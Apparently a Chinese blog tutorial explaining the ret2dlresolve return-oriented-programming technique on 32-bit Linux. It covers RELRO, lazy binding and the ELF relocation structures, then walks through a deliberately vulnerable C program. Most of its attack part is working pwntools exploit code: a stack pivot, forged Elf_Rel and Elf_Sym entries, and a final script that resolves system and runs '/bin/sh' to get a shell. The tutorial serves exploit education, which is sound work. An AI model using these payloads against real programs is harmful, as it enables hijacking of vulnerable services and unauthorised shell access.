ROP之ret2alsolve(32位)详解

RELRO保护原理

简介
由于 GOT和PLT以及延迟绑定的原因,在启用延迟绑定时,符号解析只发生在第一次使用的时候,该过程是通过PLT表进行的,解析完成后,相应的GOT条目会被修改为正确的函数地址。因此,在延迟绑定的情况下。.got.plt必须可写,这就给了攻击者篡改地址劫持程序的执行的可能。

RELRO(ReLocation Read-Only)机制的提出就是为了解决延迟绑定的安全问题,它最初于2004年由Redhat的工程师Jakub jelnek实现,他将符号重定位表设置为只读,或者在程序启动时就解析并绑定所有的动态符号,从而避免GOT上的地址被篡改。RELRO有两种形式:

partial PELRO:一些段(包括.dynamic,.got等)在初始化后会被标记为读。                             

Full RELRO :除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,.got.plt段会被完全初始化为目标函数的最终地址,并被mprotect标记为只读,但其实.got.plt会被直接合并到.got,也就看不到这段了。另外link_map和_dl_runtime_reolve的地址也不会被装入。开启Full RELRO会对程序启动时的性能造成一定的影响,但也只有这样才能防止攻击者篡改GOT。

延迟绑定技术

在程序没有开启FULL RELRO的时候,程序第一次执行函数时会进行一次动态链接,将got表上函数地址重定位为libc上的函数地址,这个过程会通过_dl_runtime_resolve(link_map_obj, realoc_index)来实现

如图所示

这里有push eax,eax又是什么呢,是把ebp-0x18的值,而ebp-0x18实际上就是esp,而esp为0x10

所以这里实际上是push 0x10

然后继续步入就到了0x8049020

  

就是PLT0的位置

而这个push 0x10(是什么后面会讲)由plt表提供,如图所示

这里压入了一个参数

实际上就是link_map_obj,然后开始执行_dl_runtime_resolve(link_map_obj,realoc_index)将libc地址写入got表,整个延迟绑定大概就是这样

其中 link_map_obj 参数的作用是为了能够定位 .dynamic 段,而定位了 .dynamic 段就能接着定位(根据偏移)到 .dynstr 段、.dynsym 段、.rel.plt 段,该参数是 PLT0 默认提供的,程序中所有函数在动态链接过程中的该参数都是相同的;

而realoc_index对应的其实就是类似与前面read函数要push 0x10,这个参数的作用是为了找到函数对应的ELF_REL结构体,这个参数由plt表提供

下面就是.rel.plt段,把read对应的0x80483a8减去.rel.plt开头地址0x8048398就是0x10,

所以realoc_index简单的理解就是对应函数的结构体到.rel.plt段的偏移(后面会详细讲.rel.plt段的构成,要结合着理解)

接下来我会介绍.dynamic段、.dynstr段、.dynsym段、.rel.plt段

每个段的寻找可以借助objump工具

objdump -s -j .dynsym pwn   //pwn是可执行文件
objdump -s -j .dynstr pwn
objdump -s -j .dynamic pwn
objdump -s -j .rel.plt pwn

.dynamic段是用来存储动态链接程序的特定信息的,在这里我们不用特别里了解

.dynstr 段

存放了各个函数的名称字符串。

.dynsym 段

由 Elf_Sym 结构体集合而成

其中的 Elf_Sym 结构体如代码

typedef struct {
    ELF32_Word st_name;
    ELF32_Addr st_value;
    ELF32_Word st_size;
    unsigned char st_info;
    unsigned char st_other;
    Elf32_Section st_shndx;
} Elf32_Sym;

这里面唯一需要知道的就是st_name,这个对应的是这个结构体相对于.dynstr段的偏移,根据这个就可以找到.dynstr段的位置

.rel.plt 段

由 Elf_Rel 结构体集合而成

其中的 Elf_Rel 结构体如代码

typedef struct {
    ELF32_Addr r_offset;
    ELF32_Addr r_info;
} Elf32_Rel;

其中r_offest对应的是函数在got表,r_info又移动8位后用来表示这个函数的标识符在.dynsym段的位置,例如,你运行的是read函数,那么r_info<<8就是read对应的结构体距离.dymsym段的位置

联系

这几段的关系是这样的,通过link_map_obj定位.dynamic段,在通过偏移定位到.rel.plt段,.dynstr段,.dynsym段,这里的偏移程序会给,不用我们操心,然后再通过realoc_index来确定.rel.plt段对应的函数结构体,从而找到对应函数的got表位置,再通过(r_info<<8)找到.dynsym段对应的该函数的ELF_Sym结构体,再通过st_name找到.dynstr段中对应函数的字符串,然后根据字符串到libc文件中找到对应的地址。如图所示

_dl_runtime_resolve 函数实际上就只是调用了 _dl_fixup 函数,其函数代码大致如下

_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
    assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);    
}

这里唯一要注意的就是这个函数的运行会检查r_info的低位是否等于7。

题目

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(){
    char buf[0x10];
    puts("> ");
    read(0, buf, 0x30);
}
void init(){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    setbuf(stdin, 0);
}
int main()
{
    init();
    vuln();
    return 0;
}

编译(自己编译出来的文件因libc版本不同,地址可能跟我有些差异)

gcc -w -fno-stack-protector -z relro -no-pie -fno-pie 1.c -m32 -o pwn

首先我们先用栈溢出来模拟puts函数的动态链接调用过程

from pwn import*
context.log_level='debug'
io=process('./ret21')
elf=ELF('./ret21')
leave=0x080491F2
ret=0x804900a
PLT0=0x8049020
buf=elf.bss()+0x800
rel_plt=0x8048398
dynsym=0x804821c
dynstr=0x80482bc
#gdb.attach(io,'b*vuln')
payload=b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)
io.sendafter(b'> \n',payload)
sleep(3)
payload2=b'a'*4+p32(PLT0)+p32(0x18)+p32(0)+p32(buf-0x14)+b'Haker'
io.send(payload2)
pause()

在这个代码中,我们先进行了栈迁移,之后模拟已经将 0x18 (puts 函数的 realoc_index 参数)已经压入栈,接着执行 PLT0,压入 link_map_obj 参数,然后执行 _dl_runtime_resolve 函数,之后解析完成那么就能够接着执行 puts("Hacker!") 打印出 Hacker!

因为这个解析函数是依靠各个段中的对应函数结构体构成的,那么,我们是否可以通过伪造结构体来执行我们想要执行的函数,这就是今天的重点

ret2dlsolve的rop技术

接下来我会通过构造结构体来puts('Hacker!')

伪造.dynstr段上的字符串
# set fake_st_name
fake_st_name = buf + xx - .dynstr //xx指的是栈上的栈上偏移
我们会在payload上构造字符串
构造ELF_Sym结构体

前面可知,此结构体有6个参数,实际上只需要伪造st_name就可以了,其他的不变

所以


#set fake_Elf_Sym
fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2
构造ELF_Rel结构体

首先要解决的问题就是,realoc_index的问题,上面已经详细讲过,realoc_index实际上就是对应函数结构体到rel.plt段的偏移,由前面可知,此结构体有两个参数,一个是对应函数的got表,一个是r_info表示EFL_Sym结构体到.dynsym段的偏移,还有就是_dl_fixup 函数执行时会检查r_info的低位是否为7

所以

realoc_index=fake_ELF_REL-rel_plt
r_sym = int((buf + xx - .dynsym)/0x10)   //这里是为了去掉低位
r_info = (r_sym << 8) + 7  //这里左移8位后+7是为了绕过判定再右移8位后不会破坏地址

最终的exp

from pwn import*
context.log_level='debug'
io=process('./ret21')
elf=ELF('./ret21')
leave=0x080491F2
ret=0x804900a
PLT0=0x8049020
buf=elf.bss()+0x800
rel_plt=0x8048398
dynsym=0x804821c
dynstr=0x80482bc
#gdb.attach(io,'b*vuln')
payload=b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)
io.sendafter(b'> \n',payload)
sleep(3)
# set fake_st_name
fake_st_name = buf + 0x34 - dynstr

# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10 
r_type = 7
r_info = (int(r_sym) << 8) + r_type   #r_sym对应的是构造的sym在dynsym的偏移,在执行时应该会加上dynsym的地址
puts_str_addr = 0x80482F3
fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt #plt表中的索引可能是rel_plt到对应结构体的偏移
fake_Elf_Rel = p32(elf.got['read']) + p32(r_info) #这里p32(elf.got['read'])的作用是把在libc中的system实际地址写入read的got表处


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3a) //这里存在对齐问题,如果是p32(buf+0x3c)的话只会打出'rker'
payload +=  fake_Elf_Rel # buf + 0x14 #p32(PLT0)相当于调用_dl_runtime_resolve函数,并且PLT0会提供第一个参数,那么我们就要接着输入第二个参数p32(realoc_index)
payload += fake_Elf_Sym # buf + 0x1c
payload += b"puts" + p16(0) #buf+0x34
payload += b"harker!"
io.send(payload)
io.interactive()
#pause()

这个实际上就是重新找libc寻找函数地址,写入got表

可以看到我们上面的exp中故意写了read的got表,也就是说他重新再libc文件里面寻找puts函数写入了read的got表的位置,这时候read的got表的位置实际上是puts的真实地址了。

由此我们可以联想到,我们把system函数写入,再输入/bin/sh\x00,不就可以getshell了吗,事实上也确实如此

getshell exp

from pwn import*
context.log_level='debug'
io=process('./ret21')
elf=ELF('./ret21')
leave=0x080491F2
ret=0x804900a
PLT0=0x8049020
buf=elf.bss()+0x800
rel_plt=0x8048398
dynsym=0x804821c
dynstr=0x80482bc
#gdb.attach(io,'b*vuln')
payload=b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)
io.sendafter(b'> \n',payload)
sleep(3)
# set fake_st_name
fake_st_name = buf + 0x34 - dynstr

# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10 #/0x10是为了减掉后1位  例如int(1001/10)=100,最后+7实现把低位变为7
r_type = 7
r_info = (int(r_sym) << 8) + r_type   #r_sym对应的是构造的sym在dynsym的偏移,在执行时应该会加上dynsym的地址
puts_str_addr = 0x80482F3
fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt #plt表中的索引可能是rel_plt到对应结构体的偏移
fake_Elf_Rel = p32(elf.got['read']) + p32(r_info) #这里p32(elf.got['read'])的作用是把在libc中的system实际地址写入read的got表处


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c) #p32(PLT0)相当于调用_dl_runtime_resolve函数,并且PLT0会提供第一个参数,那么我们就要接着输入第二个参数p32(realoc_index)
payload +=  fake_Elf_Rel # buf + 0x14
payload += fake_Elf_Sym # buf + 0x1c
payload += b"system" + p16(0) #buf+0x34
payload += b"/bin/sh\x00"
io.send(payload)
io.interactive()
#pause()

小白,有错误请指出

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值